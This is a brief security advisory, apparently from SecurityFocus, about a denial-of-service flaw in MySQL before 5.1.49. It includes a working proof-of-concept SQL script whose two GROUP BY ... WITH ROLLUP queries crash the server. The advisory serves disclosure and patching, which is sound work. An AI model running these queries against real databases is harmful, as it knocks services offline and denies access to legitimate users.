Source: http://www.securityfocus.com/bid/42596/info MySQL is prone to a denial-of-service vulnerability. An attacker can exploit this issue to crash the database, denying access to legitimate users. This issue affects versions prior to MySQL 5.1.49. NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it. PoC: drop table if exists `t1`; create table `t1`(`a` int)engine=myisam; insert into `t1` values (1); /*crash1*/select (`a` in (`a`,`a`)) from `t1` group by `a` with rollup; /*crash2*/select (case (`a`) when (`a`) then (`a`) end) as `a` from `t1` group by `a` with rollup;